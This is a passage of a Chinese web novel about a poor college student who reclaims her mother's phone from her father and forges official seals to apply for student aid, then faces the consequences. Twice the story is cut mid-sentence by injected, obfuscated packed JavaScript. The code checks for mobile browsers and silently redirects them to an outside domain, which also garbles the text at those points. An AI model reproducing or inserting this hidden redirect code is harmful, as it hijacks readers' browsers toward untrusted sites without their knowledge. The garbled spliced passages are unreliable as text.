“不是。我要给我妈买一部新手机。” “好吧。” 兼职表排满真的很辛苦,最累的时候,曲涵一天要做三份兼职,早上在商场当玩偶人,下午去奶茶店,晚上去补习机构当家教。可拿到新款智能机时,所有的疲乏都消失了。 — 期末考结束,曲涵带着给家人买的礼物回家,给妈妈买了智能机,给妹妹买了零食,给爸爸买了双袜子。 这是她辛苦兼职攒下的钱。 是她送给家人的春节礼物。 过年期间有三倍加班费,所以表姐整个春节都在外省的单位加班,寒假快要结束的时候,她才回家。 表姐和她一起长大,感情很好。 曲涵去表姐家住,两人从白天聊到黑夜。 某晚,天上的月亮很圆,她第一时间想和妈妈分享。表姐家住在镇上,离村子有一段距离,她想也没想,直接打微-信视频过去。 微-信是她给妈妈注册,教妈妈用的。 借着这个机会测试一下妈妈是不是真的学会了。 可怎么打都打不通。 改成打电话,嘟两声就接通了。 “妈。我打微-信,你怎么不接呢?你不会用吗?还是怕花流量费。不会的,你只用微-信接受信息,用不了多少流量。花费我给你交。” 她噼里啪啦说得热闹。 电话那头的林秀娟却支支吾吾的:“妈不、不太会用。我再琢磨琢磨。” 曲涵瞬间警觉:“妈。到底怎么了?” “你说呀。有什么事不能和我说?” “没什么呀。”林秀娟故作轻松,“你有什么事?是衣服不够穿?要不要妈妈给你送些新衣服去?” “今天的月亮特别圆。想让你看看。” “是呀。今天是农历十六。” 说了两句,话题又绕回微-信上,再过几天,她要回学校了,就不能这么手把手地教林秀娟用手机了。 “妈。我再和你讲一遍怎么用智能机打视频。你用微-信回我呗。这样我回学校也能给你打视-频。” “哎呀。妈笨手笨脚的,学不会这些新东西。你有事给我打电话,我听到你的声音,知道你平安就好了。” “不对。”这下曲涵确定了,智能机肯定没在林秀娟手上,她送的时候,林秀娟爱不释手,答应她会好好使用,买了个手机链挂在脖子上,去哪都带着。现在说了半天,她却怎么都不肯拿出来。 她想起来,那时候,曲世中酸溜溜地说她偏心,只给林秀娟买,不给他买。 家里条件不好,林秀娟生了三个闺女后,没有再生。曲世中天天郁郁寡欢,天天念叨有儿子如何如何好,女儿以后嫁人就归别人家了。心里是这么想的,所以对三个女儿都不上心,空闲时间都在各家各户打牌喝酒。 曲涵想到这气不打一处来。 手机肯定是被曲世中拿走去各处亲戚那炫耀了。 这事越想越气,气得她胃疼,气得她睡不着。恰好第二天,表姐家摆席,曲涵喝了点酒,白酒上头,白酒壮胆,她浑身怒火,气鼓鼓地走了几里路回家。 一脚踢开门。 曲世中躺在摇椅里看电视,听到声响,跳起来,前额青筋爆着:“你赚钱点要上天啊!门踢坏了,你拿钱来赔。” “我赔就我赔!”曲涵毫不示弱,插着腰问,“我给妈妈买的手机,是不是你拿走了。” 曲世中有点心虚,答非所问:“我困了。要去睡了。” 曲涵一个箭步冲到他前面:“手机呢!” “那是我买给妈妈的!你不能拿!快点把手机拿出来!啊!!”她怒吼一声,怒火携着委屈的泪水一起从眼角落下,她抹掉眼泪,又叫又喊,跺着脚,继续催促,“快一点!” 院门没关。 曲涵的喊声穿透围墙。 能听到隔壁家的狗汪汪得叫个不停。隔壁的主人拽着狗,让狗别叫。 曲世中脸上挂不住,声音也大了,跟她对着喊:“嚷什么嚷。你上学的钱是老子出的。用你个手机怎么了!” 林秀娟被夹在中间,左右为难,一会劝这个,一会劝那个。 妹妹说:“爸。你就拿出来吧。毕竟是姐姐买的。” “滚。这里没你说话的份。”曲世中甩开手。 一怒之下,曲涵抄起个酒瓶子,敲在桌角。嘭地一声脆响,绿色的玻璃渣子四溅,曲世中愣住,林秀娟叫开,妹妹在旁边哭,曲涵却面不改色,甚至是有些冷漠地举起酒瓶,把尖锐的底部对准他,一字一顿地:“把手机交出来。” 曲世中掏出手机丢在桌上:“一个破手机,谁稀罕。” 曲涵把手机给林秀娟:“这是我买给你的。你要用。” 她扔掉酒瓶:“我累了,我要去洗澡睡觉了。” 曲世中对着她的背影喊:“以后别想老子给你掏一分钱学费!” 曲涵转身:“我自己会赚!” “你早就没有给我付学费了!高中的钱是妈妈和舅舅给我的。大学是……”曲涵咽唾沫,助学金的事不能告诉他,随即改口,“是我做好多份兼职辛苦挣来的。” 曲涵洗完澡,回到房间,从行李箱底部挖出那几个用布包着的公章。只要有这几个章子,大学四年,她不需要求爸爸,不需要求村委会,可以自己申请助学金。 “姐姐。”妹妹突然出现门口。 曲涵着急忙慌地把章子藏进桌底。 她坐直,身子侧面抵着抽屉:“怎么了?” “你刚才真是吓死我了。” “是我太着急了。” 曲涵拿手帕擦掉妹妹眼角的泪痕:“你一定要认真读书。要努力,要考得很好。不要怕爸爸。以后有什么委屈就打电话告诉我。” “妈妈那个新手机可以视-频。” “什么是视-频?” “就是接通以后,我们不止能听到对方的声音,还能看到对方。”曲涵耐心解释,看着妹妹懵懂又亮晶晶的眼睛,曲涵想到了初入大学的自己,这个世界很大,人与人之间的差别也很大,可幸运地是,努力可以缩小这些差距。 “你有不会的题不用空着了。找妈妈拿手机,给我打视-频,我教你。或者拍照发给我也行。” 这也是曲涵坚持要给林秀娟买智能机的目的之一。这手机只有在林秀娟手上,才能发挥最大用处。 “嗯!我会努力的!” “不是会。是一定要努力!” “姐姐。” “嗯?” “大学好玩吗?” “当然。” “大学非常好。” — 新学期开学,辅导员又在群里发新一轮的助学金申请表。 [辅导员]:表格按照要求填好盖章交上来。模板在群里,注意查收。有问题来办公室问我。@全体成员 安若仪提醒:“涵涵,辅导员发通知了,你要记得交申请表噢。” 曲涵比了个‘ok’:“知道。我已经打印了。” 孙思敏问:“那这周末你是不是要回家?” 曲涵摆手:“不用。我和妈妈说好了。我邮寄回家,她帮我盖。” 安若仪又提醒:“这是重要文件,你要寄邮政的挂号件。安全点。” “我会的。”曲涵点头。 孙思敏不放心,多问一句:“邮局离学校有点远,你知道在哪吗?我寄过挂号信。要不要我陪你去啊?” “我知道。我寄过。” “是嘛。什么时候?” “呃……上学期。” 曲涵怕多说会露馅,转走话题:“咱们是不是要去领新书啊?” “要。在化学楼一层。门卫大爷在那发。”沈镜的话不多,但总在关键时候发言。不知何时,她书桌上放着一摞新书,“这学期的书是分批发的。今天只要领六本。” 安若仪惊讶:“你什么时候去领的?” “刚才去的。” “怎么不叫我们一声。” “我不知道你们什么时候想去领。” “好吧。” 安若仪扭头:“你俩什么时候去拿?” 孙思敏不确定:“现在?下午我要去开会呢。” “我也现在去。”曲涵起身。 安若仪摆手:“我帮你领。咱俩不是点外卖了嘛。你在宿舍待着。外卖来了,你去取。” 曲涵坐回去。 两个人起身往外走,沈镜也跟了上去。 曲涵问:“镜子,你要去哪?” “我去图书馆。把这些书放储物柜里。” “你中午在宿舍吃吗?” “不。我要去食堂。” “好。” 室友陆续离开,曲涵拿出几枚公章在新申请表上盖章,这次她比之前淡然,抽纸小心擦掉多余的油墨,低头,噘嘴,吹干。 手机铃响了。 是外卖员打来的,让她去门口取餐。 她随手拿了文具盒压在申请表上,开门去取餐。她站在门口,等了大概三分钟,外卖员提袋走近:“尾号0798?” “是我。” “小心烫。” “好的。” 她提着东西走进宿舍楼。 关着的宿舍门半开着,风吹着窗帘,申请表盖在地上,公章掉落在地,咕噜咕噜地滚动。 她把外卖放到安若仪桌上,先拾起申请表,夹在英语课本里,又跪在地上,伸长手去捡滚进桌底的公章,一枚、两枚、三枚、四枚、五枚,全部捡起来,收好。 关上宿舍门。 真奇怪,刚才离开,明明有关门啊?记错了吗? 宿舍在一楼,挨着楼门。站在大门口的时候,她也没瞧见有人进去。可能是事情太多,脑袋乱掉了吧。 过了会,安若仪抱着一叠书回来。短短的路程,她走得满头大汗,背后湿透。 曲涵抽纸给她:“思敏呢?” “去学生会了啊!我俩刚领完书,迎面撞上部长,她就被叫走了。我一个人把这些书扛回来的啊!累死我了。”安若仪瘫坐在椅。 曲涵站在她后面捏肩捶背:“室长大人。辛苦啦。你怎么不打个电话,让我去帮你。” 安若仪拧开水瓶:“我以为我可以。走到一半就后悔了,那也没办法,没手打电话,咬咬牙扛回来了。下回我再也不和孙思敏去领书了。一进化学楼,各个部门都找她,一会是学生会,一会是宣传委,门卫大爷都能和她聊上几句。我可招惹不起这大忙人。” “镜子呢?”她仰头看着空铺位。 “去图书馆放书了。”曲涵帮着把外卖盒打开,“她在你们后面出门的,你们没遇上吗?” 安若仪摇头:“没有。可能我俩走得快吧。” — 下午,曲涵背包出门,既然演就要演得真实。她真的乘车去邮局,在门口转了两圈,在邮局旁边的蛋糕店买了一盒酥饼,再乘车回学校,去化学楼交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664715|172946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 申请表。 这么来回一折腾,真跟去了趟邮局一样。 安若仪说:“办事真麻利。这么快就回来了。” 曲涵放下饼盒:“这里有酥饼。想吃的自己来拿。” “那我不客气啦~”孙思敏拿了两块。 安若仪伸手拿了一块。 曲涵捧着盒子走到沈镜床边,沈镜拿了一块:“谢谢。” “晚上都在宿舍吃?”孙思敏问。 三人点头。 “那我叫餐吧。我有优惠券。要不要合着一起叫?” “可以啊。” 四个人虽然同专业,但实验分组不同,选修不同,课表略有差别,晚上时间,曲涵和沈镜又爱泡在图书馆,除了要给谁过生日,好像很少一起坐在宿舍吃饭。 一起住了一学期,彼此间熟悉不少。 孙思敏点了两罐啤酒:“喝点?” “我不会喝。”安若仪推辞。 孙思敏倒上:“喝了就会了。” “你俩呢?” 曲涵打手一挥:“随便倒。” “哟。这么牛?” “人送外号千杯不倒。” “吹牛。”孙思敏倒酒。 安若仪握住她的手:“差不多得了。后天还上课呢。” 沈镜说:“我喝小半杯就行。” 一杯酒下肚,话匣子打开,孙思敏说:“你们知道我下午在学生会看到谁了吗?” “谁?” “就那个学长……” “哪个?” “上学期抓到作弊的那个。” 安若仪差点喷出来:“妈呀。他是学生会的?!” “是啊!”孙思敏点头,“我上学期都没怎么在学生会看到他。可能是边缘部门的吧。” “学生会没开除他啊?”曲涵撇嘴。 孙思敏摊手:“没有喔。他今天还和辅导员聊天呢。若无其事的。” 安若仪扶额:“心态真稳啊。” 曲涵嗤笑:“脸皮也厚。” “你别小瞧他。这种人往往是混得最好的。”孙思敏啧声。 曲涵耸肩,既无奈又不屑:“可不是。像咱们这种老实人,什么都不敢,只要做错一点都吓死了,也不会像他们那样没底线。我从小就是乖宝宝呢。” “老实人是这样的。”孙思敏点头,刚想说点什么,耳边却传来一阵低低的冷笑,她转头,沈镜的手肘拄在桌面,手掌盖着半张脸,但能从笑弯的眉眼里瞧见几分嘲讽。 她戳戳沈镜:“你今晚怎么没去图书馆?” “去过了。” “哦。” “镜子,你为什么没参加学生会竞选?” 新生入学,所有人都对大学生活充满期待,各种组织的纳新都乌央乌央地一堆人报名,但沈镜好像没参加什么活动。 沈镜淡淡的:“我报了。” “竞选会上我怎么没看到你。”孙思敏纳闷。 沈镜撇嘴:“觉得无聊就走了。” “好吧。”孙思敏声音低下来,“本来这学期还有纳新的。我想问你来不来。” 曲涵举手:“我想去。带我一个行不行啊?不过上学期的竞选会我没选上,这次还能报吗?” “可以啊。”孙思敏解释,“这次不用竞选。是内推。有的部门人手不够。你想来?我可以推选你。” “好呀!” “想去哪个部门?” “都可以。” “确实。”沈镜忽然没头没尾地说,“你很适合学生会。” 她的语气不太友善,可笑眼弯弯,嘴角也勾着笑。曲涵只当她是对自己的祝福,举起酒杯碰了碰她的:“那就祝我这次能顺利加入学生会。” 安若仪眯眼,借着酒劲,半玩笑,半认真地问:“镜子。你怎么回事。怎么说话夹枪带棒的呢。” 沈镜笑开:“喝多了。” 她捂着温热的脸颊:“上头了。” 孙思敏打圆场:“来来来。光顾着喝酒聊天,这菜一点没动。胃里没食,可不得上头嘛。快吃快吃。这家东北菜老好吃了。” — 六月,临近期末,许多人在图书馆抱佛脚。若是去得晚一些就没座位了,曲涵的实验课在下午,等她去的时候,只能插空坐。 一楼有个外平台,很多在这背书的,很吵。 她不喜欢坐在这,但来得晚没什么选择,有位置总比没有的好。她放下包,把书放在桌面,表示这个座位有人了,再拿出水壶去接水。 她去楼上逛了一圈,找寻更好的空位。 远远的,她就瞧见沈镜坐在那,身边有个像是空位。她走过去,那个位置的椅子是空的,但桌子上放着一本高数。 她问:“镜子。你旁边有人吗?” 沈镜点头:“有个学姐。” “要是她不坐了,你帮我占一下,给我发信息,我马上上来。我在一楼,位置很不好了,很吵。” “好的。” “谢谢啊。” “嗯。” 曲涵坐在一楼,从下午到晚上,沈镜都没有找过她,大概晚上八点的时候,她上去过一次,沈镜身边的座位空了,桌面和椅子都是空的。 可能是刷题太认真,忘了叫她吧。 曲涵走近,拍了拍她肩膀:“你旁边有人吗?” “有的。”沈镜说,“那个学姐说她去走廊背书,让我帮她看着座位。” “好吧。”曲涵失落地低头。 “镜子。你什么时候走啊?” “再一会吧。” “你走的时候叫我。” “好的。” 一小时后,曲涵的手机震动。 沈镜发来信息—— [镜子]:我要去食堂买东西。晚了,那个档口会关窗。先走啦。 又过了半小时,曲涵收拾东西离开。回到宿舍,只有孙思敏在宿舍,对着镜子贴面膜:“你回来了。” “她俩呢?” “镜子去开水房打热水。室长在隔壁寝室打牌。” 曲涵关上宿舍门,压低声音:“我有事问你。” “什么事。搞得神神秘秘的。”孙思敏放下化妆镜。 曲涵说出疑虑:“沈镜好像讨厌我。” 7. 104宿舍 孙思敏开解:“不会的。可能是沈镜不会表达吧,让你有误会,但她人挺好的。”她捏了捏曲涵的肩膀,“要不然我帮你问问她?你是哪里觉得不对劲吗?” 曲涵思索片刻:“算了。算了。不用了。你就当我没问过吧。” 这本就是她的一种感觉,无凭无据的,直接去问很像是质问,两人的关系不会缓解,只会更糟糕。 “那你别多想。” “嗯。” 宿舍门开了,沈镜提着暖水壶进门。 孙思敏惊讶:“夏天你也要打热水泡脚吗?” 沈镜说:“?泡脚可以刺激足底穴位和经络,能促进血液循环?、?祛湿排毒?、?改善睡眠。这些天准备期末考,压力大,睡不好,半夜做梦都在刷题。” 孙思敏指着自己的水壶说:“我不怎么用热水。你有需要可以用我的水壶。” — 次日是周末,没有排课,曲涵早早起床,洗漱完就去图书馆,先把座位占好,再下楼买早点。早起是她多年养成的习惯,为了背书,为了帮妈妈做家务。不需要闹钟,也可以在六点准时醒来。 不过十分钟的早饭时间,图书馆已经坐满人。 她回到位置坐下。 手机在桌面震动。 她划开—— [104美少女寝] [敏可爱]:有谁在图书馆的呀!@全体成员 [敏可爱]:图书馆还有座位吗!@全体成员 [若水方圆]:我在化学楼。一楼阶梯教室只有四五个同学,安静得很,何必去挤图书馆。 [敏可爱]:我要借一本实验书[哭哭.emoji] [敏可爱]:镜子!你在图书馆吗?@mirror [mirror]:刚出食堂。今天起晚了。 [敏可爱]:涵涵呢?@中通外直 曲涵盯着屏幕,一阵纠结,这学期她在孙思敏的推荐下进入学生会了,平时有什么活动孙思敏都带着她,她的手抓在身边位置的包上,如果没有昨天的事,她会毫不犹豫地在群里回复她。这刻她有些犹豫,她先用小窗戳了戳沈镜。 [中通外直]:我在四楼,附近有个位置,你要吗? [mirror]:要! 曲涵起身,拍了张座位的照片发给沈镜,又用文字告诉她座位在哪。然后抱着一本实验书下楼,边走边回复孙思敏。 [中通外直]:图书馆现在人挺多的,我到处逛逛,帮你看看有没有位置。有的话,我用书占上,你尽快过来。 [敏可爱]:感恩! 曲涵在图书馆转了一圈,找到一个空座,放上两本书,拍照发给孙思敏。消息刚发出去,孙思敏就从楼梯那走过来,朝她招手。 她走近:“有座位。太好了。” “你坐哪?” “我在楼上。”曲涵在楼上的位置很好,在自习室里面,很安静,给孙思敏占的是外面的位置,有来往的学生和背诵的学生,会吵闹一些。她有些抱歉,“我会留意自习室的,如果有空位了,我发消息告诉你。” 孙思敏摆手:“不用。在这就行。我就坐一会。把实验部分复习完,我要去化学楼找若仪。” “好。”曲涵转身准备上楼。 孙思敏像是想起什么,又叫住她:“你有看到沈镜吗?” “她也在四楼。” “这样呀。” 提到这,曲涵心虚得声音都小了许多,是孙思敏先问她位置的事,她却把自习室的空位给了沈镜。她刚想开口解释这么做是想和沈镜拉近关系,孙思敏像是能读懂她的心思,拍了拍她肩膀:“你俩没事就好。我很担心你多想呢。镜子这人就是这样,不爱说话,有时候会给人她在生气的错觉。” “嗯。” “你上去吧。” “好。” 曲涵和沈镜都喜欢去图书馆自习室复习,曲涵帮沈镜占过一次座位后,若是沈镜比她早起,也会帮她占座。 果然是她多想了。 沈镜没有讨厌她。 — 七月初,安若仪在宿舍群发通知。 [若水方圆]:辅导员刚通知我各科成绩都录入教务系统了,可以登入查看,有疑问及时向辅导员反映@全体成员 曲涵登录系统,看到成绩的那刻,惊得差点叫出声。她捂住嘴,激动地床上打滚,这学期考试科目多,但平均分比上学期还多了不少。 她眼睛一转,想着上学期多少分能拿奖学金,掰着手指头盘算系里有几个人可能比她高。 这时,安若仪戳她私聊。 [若水方圆]:辅导员说你的平均绩点高,我把奖学金信息表发给你,你填一下。填完转发给辅导员就可以了。 [中通外直]:啊!!真的吗?我能拿奖学金了?! [若水方圆]:真的。银行卡那栏要多检查几遍,开学后,奖学金会打到你卡里。 [中通外直]:ok~ — 九月,曲涵是最早返校的,带着能拿到奖学金的喜悦。她在家里一天也待不住,天天盼着开学交表格。结果来得太早,辅导员还在休假中。 孙思敏和沈镜是一起来的。 曲涵惊讶:“你们是在火车站遇上了?” 孙思敏点头:“对呀。我是坐飞机来的。然后转乘机场到市区的城际动车,刚出车站就看到她拎着行李箱去的士站。” 沈镜瞄了眼垃圾桶,里面堆着不少零食包装:“你来很早啊?” “我大前天就到了。”曲涵回答。 “大前天?!”孙思敏啧舌,“你来那么早干嘛。学校宿舍有什么好的,床铺窄,空调又差的。” 曲涵挠头,喜悦压过理智,迫不及待分享好消息:“我上学期期末考绩点够拿奖学金,我来交表格。” “太棒啦!你是我们宿舍第一个拿奖学金的呢!”孙思敏牵着她的手转圈。 沈镜淡淡的:“你绩点多少呀?” “我……” “我来啦!”安若仪嘭地一声推开门,打断几人的对话,她戴着遮阳草帽,黑框墨镜,穿着竖纹连衣裙,扎了个松松垮垮的马尾放在肩膀,像是刚从海边度假回来。 “看看。咱们室长从夏威夷回来了!”孙思敏调侃。 安若仪摘掉墨镜:“夏威夷没去,但去了趟海南。我给你们带礼物啦!”她打开行李箱,拿出三串海螺手串分给她们,“红色给思敏,祝你步步高升,早日当上学生会会长。蓝色的给镜子,祝你学业进步,再创佳绩。黄色的给涵涵,祝你事业顺利,财源滚滚来。” 孙思敏打趣:“你送的东西真及时。曲涵拿到奖学金了呢。真是财源滚滚来了。” 安若仪眼底闪过一丝讶异,把曲涵拉到旁边:“你的嘴怎么这么快。” “嘿!”孙思敏凑近,“你俩说什么悄悄话呢!” 曲涵不以为意,大手一挥,颇为豪气地说:“等我拿了奖学金,我请你们吃饭!” 孙思敏乐了:“等你拿到再说吧。” 沈镜应和:“那到时候我们就不客气咯。” 曲涵拍胸脯:“不用客气!请你们吃大餐。” 安若仪笑笑,拉下她的手,勾着的食指抬起,给了她一记重重的脑瓜崩:“三等奖学金没多少,你留着用吧。这学期周六上午排了实验课,你可能没那么多时间做兼职。” “实验课还没分组呢。”曲涵丝毫不慌,两手合十地向天祈祷,“千万别把我分在周六的组。” 正说着,曲涵的手机震动,是快递站发来的取件码。这学期要考计算机二级证,她买了本带真题考试系统的习题册。 下楼取件的时候,群里恰好在发实验分组的排课表。这学期,曲涵被分到实验二组,周六上午有一节实验课。 真是怕什么来什么。 曲涵往下翻,查看室友的排课,安若仪周六有课,孙思敏也有,只有沈镜的实验课在周五下午。 只能找沈镜换了。 如果是安若仪,直接说就好,如果是孙思敏,请她吃一顿饭也能搞定。偏偏是沈镜,两个人是室友,很熟悉,好像又没亲密到可以随便换课的程度,毕竟谁愿意在周末早起去上课呢。 曲涵想着要怎么和沈镜说这事,要怎么答谢她。 上楼回宿舍,只剩安若仪。 “她俩呢?” “去食堂了。” 安若仪放下手里的东西,转过身问:“你买什么了呢?” 曲涵撕开快递袋:“计算机二级的练习册。” 她坐在座位上翻看,练习册的封底有个真题题库的激活码,和一个模拟考试软件的下载二维码,激活码可激活三台设备。曲涵没有笔记本,把这事告诉安若仪。 安若仪几乎是没有犹豫地打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664716|172946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开电脑,登录练习册的官网下载了考试软件,输入激活码激活软件。 “你要用的时候,告诉我一声就行。”安若仪说。 曲涵招呼:“软件和真题册咱们都可以一起用。这个真题册你要复印一份吗?” 安若仪婉拒:“我找学姐借了。” “我这是最新的。” “没事。差不了多少。” “那你要的话随时找我。” 激活码可以用三次,安若仪的电脑用了一次,孙思敏和沈镜还能用。曲涵掰着手指头数,盘算着如何物尽其用。 ~ 晚上,孙思敏先回宿舍的。 曲涵和她说了激活码的事。 孙思敏说:“谢谢你想着我。我也买了。过两天就到。这个激活码你给别人吧。” “好的。”曲涵收好练习册,“镜子呢?” “去图书馆啦。” “没开学就这么努力啊!” “可能是去整理图书馆的储物柜吧。” 孙思敏收拾好洗漱用具,将头发盘在后脑:“涵涵,你要用卫生间吗?我要洗澡了。” 曲涵摇头:“我不用。” ~ 过了会,沈镜抱着一堆书回来,腾不出手,只得用脚去推门。 曲涵听见铁门的吱呀声,走过去开门。 “镜子,你回来啦!” “我只是去图书馆把储物柜清空。”沈镜急忙解释,像是怕别人误会什么,“这些都是上学期的书,这学期用不上了,就拿回来放着。” “噢噢噢。”曲涵对此并不好奇,现在有更紧急的事。安若仪和孙思敏都去其他寝室串门了,宿舍只有她俩,是最方便谈事的,“镜子,这个激活码给你。” 沈镜懵圈地接过:“什么激活码?” 曲涵解释:“计算机二级的模拟考试软件。你在电脑上下载一个,输入这个激活码就能用了。” “你是要用我的电脑练习吗?”沈镜把那个激活码放在书桌上。 “不是。不是。”曲涵指向安若仪,“我和若仪说好了,借用她的电脑。这个激活码可以用三次,你拿去用吧,省得买了。” “谢谢。” “不客气。” 曲涵搓了搓手:“有个事想和你商量……” “你说。”沈镜坐下。 曲涵说:“我的实验课在周六,但我周末还要去做兼职,能不能和你换一下呀?” “不行。”沈镜眉头紧锁,用抱歉的口吻解释,“我周末要去参加社团活动。” “你参加社团了呀?!”曲涵有些意外,去年一整年的周末,沈镜都泡在图书馆,学院的活动她都很少参加,没听说她有参加什么社团。 沈镜说:“模联。我今年刚报的。我参加的活动少,上学期综测分不高,这学期报个模联试试。” “哇!你好厉害呀。模联面试可难了。口语要求很高呢!”曲涵好生佩服,“你加油!” 沈镜把激活码还给她:“你的忙我帮不上。这个也还给你吧。” 曲涵没收:“没事。这不是互换。给你吧。我用不上三次。” “那谢啦。” “嗯。” 曲涵换了睡衣,躺在床上刷手机,找其他同学换课,问了两个,找到一个愿意和她换的,为了表示感谢,把激活码的最后一次激活机会送给她。 — 办公室一上班,曲涵就将奖学金信息表打印装订好,交到辅导员那。 当天去办公室交资料的同学很多。 大家都是放下,签个字就离开。辅导员边审核边点头,收到曲涵的,她神色微变,手上动作也顿了几秒。 曲涵以为是资料哪填错了,凑近去看:“有哪里填错了吗?” 齐雪薇说:“有个地方没填对。你坐沙发上等我会,让他们都交完,我再告诉你。” “嗯。谢谢导员。”曲涵坐在沙发上等。 同学陆续离开后,齐雪薇起身去关门。 曲涵见状,也站起来,伸手要去帮忙。 齐雪薇却摆手,关上门前,她站在走廊左瞧右看,确定没人,才退回办公室,关门落锁。 她回到办公桌,坐下招手,示意曲涵近前来。 曲涵有些紧张,搓着手凑近。 齐雪薇表情异常严肃,清了清嗓:“你的奖学金资格被取消了。” 8. 104宿舍 这个消息犹如晴天霹雳,砸在曲涵脑门,砸得她耳鸣眩晕,两手扶着桌边,撑住身子,反复喃喃着:“为什么?” “是我的绩点不够?还是综测不够?”曲涵很激动。 齐雪薇按住她肩膀,柔声安抚:“我们接到一封举报信,说你的贫困补助公章是伪造的。” 曲涵瞪大眼,忽然没了声音。 齐雪薇说:“我们去村委查过你家的家庭情况,是符合条件的,但村委那边没有申请表的备份存档,也核对了两个公章印,确实是不一样。你伪造公章一定有什么难言之隐对吗?” “你们去村委了!”曲涵的眼泪掉下来,“那妈妈知道吗?” “我们只是以核实材料为由去的。没有说这件事。” 曲涵咬唇,委屈的泪水在眼眶打转,鼻翼缩动,忍住难过,紧张地问:“我会怎么样?会被退学吗?” 齐雪薇摇头:“不会。” “幸好你的情况是符合条件,我去村委找齐材料替你补交上去了。村委说爸爸不想让你上大学是真的吗?” “是。”曲涵点头。 齐雪薇叹气:“为什么不早说?” “我……”曲涵欲言又止。 齐雪薇摸了摸她的头顶:“举报信是直接投送到教育局,教育局再转交到学校,要求学校彻查。举报人绕过了学校,学院这边帮不了你,会给你一个警告处分。但这个处分不会对外张贴,只要你在毕业前表现好,撤销了,就不会记录档案。” “嗯嗯!”曲涵狂点头,“我不会再说谎了。我会认真学习。老师,这件事,可以不要告诉我妈妈吗?我不想她难过,不想她担心。” “你自己决定吧。” “谢谢老师。” 齐雪薇退还她的奖学金表格:“这学期的助学金会正常发放。但下学期开始,你不能再申请助学金了。” “你的情况我向上反映了,我尽量申请了,但伪造公章是诚信问题,助学金申请资格不再向你开放。算是给你一个教训吧。以后遇到不能解决的事,可以寻求家长、老师、学校的帮助,违规也许能解决一时的困难,但会带来长久的麻烦。” “嗯。我记住了。” 曲涵收好表格:“我一定不会了。” 打开门,她的脚刚抬起,齐雪薇叫住:“曲涵。” “老师,还有事吗?” “这学期奖学金没了,但不影响下学期。你的绩点和综测保持住下学期还是可以拿的。” “嗯!” “还有……”齐雪薇拉开抽屉,拿出一张表格递给她,“这是图书馆的勤工俭学申请,你有需要的话填一下交给我。” “金额不如助学金多。但时间自由,一周打卡够时间就可以领取补助。” “谢谢老师!”曲涵收下。 离开教学楼,曲涵心里的石头放下些,肩头却莫名沉了许多,有些难以描述的情绪浓稠地糊在心底。她委屈得想哭,又觉得自己是自作自受没脸哭。几次都深呼吸都难以抑制泪水,在人工湖附近逛了好几圈,风吹干泪水,又用水擦掉泪痕,才慢吞吞地走回宿舍。 上楼的每一步都步履沉重。 她懊恼万分,后悔不该那么早告诉别人奖学金的事,现在拿不到,不仅丢脸还没法解释。 宿舍门一开,孙思敏笑嘻嘻地迎上来:“表格交上去了?” “嗯。”曲涵点头,身子却往后缩,插在内兜的手捏紧申请表,眼神飘忽。趁着她和沈镜说话的间隙,侧身绕过,坐回位置,迅速收拾书包,背着就往外走,“我要去图书馆。” “你晚上什么时候回来啊?” “不一定吧。” “那你什么时候用浴室?” “我八点回来。” “好。” 曲涵一直在图书馆磨蹭到闭馆时间,才极不情愿地背包离开。宿舍很安静,沈镜躺在床上看书,孙思敏在贴面膜,好像没人记得她奖学金的事了。她换睡衣去浴室洗漱,水声哗啦掩盖掉周遭的声响,她蹲在浴室,又结结实实地哭了一场。没有声音的,眼泪混着洗澡水顺着脸颊流淌,像一层名为悲伤的茧紧紧包裹着她,难受得让人窒息。 关掉水龙头。 外面的聊天声也跟着小了。 她担心极了。 室友是在谈论她吗?她们会知道她伪造公章的事吗? 洗漱完,她端着盆和脏衣服借口要去洗衣房,逃也似地离开宿舍。洗衣房在走廊尽头,这个时间没什么人,但有的人会在隔壁楼梯间煲电话粥。公共墙面的隔音效果差,声音不断传进洗衣房,在空荡的洗衣房回响,被曲涵听得一清二楚。 煲电话粥的不是别人,是安若仪。 宿舍只有安若仪有男友。这是大一入学,全寝就知道的事。去年,安若仪很少和男朋友煲电话粥,偶尔会在宿舍发语音。这段时间,每天晚上,她都会去楼梯间煲电话粥,一打就是两小时起步,踩着熄灯时间,匆忙赶回洗漱。 曲涵洗完衣服,安若仪也恰好挂断电话。 她走出洗衣房,看到她站在靠在墙角,嘴里叼着一根烟。两人都愣了下,曲涵很惊讶,安若仪的尴尬却稍纵即逝,淡然得捏下嘴角的烟,在窗台的一张湿纸巾上暗灭。 她用湿纸巾包着烟头:“这么晚还洗衣服啊?” “现在有时间就洗了呗。”曲涵答。 两人肩并肩地往回走,漫长的沉默比方才撞破抽烟的瞬间更尴尬,曲涵主动开口:“我不会和别人说。” 安若仪耸肩,无所谓的:“没事啊。” — 新学期,选修和实验课的分组不同,宿舍四个人的课表被打散,各有各的时间安排。 安若仪和沈镜的选修课都选了微表情心理学。这门课只有十节,很短,本应该是热门,但学姐说,这门课的老师喜欢检查笔记,所以选的人不多。 安若仪选,纯粹是看过美剧《千谎百计》,对微表情感兴趣,好奇是不是真的像剧里演的那样,只通过表情就能判断一个人是怎么想的。 上课那天,沈镜跟在她后面进教室。 她顿了一下,坐到沈镜身边。 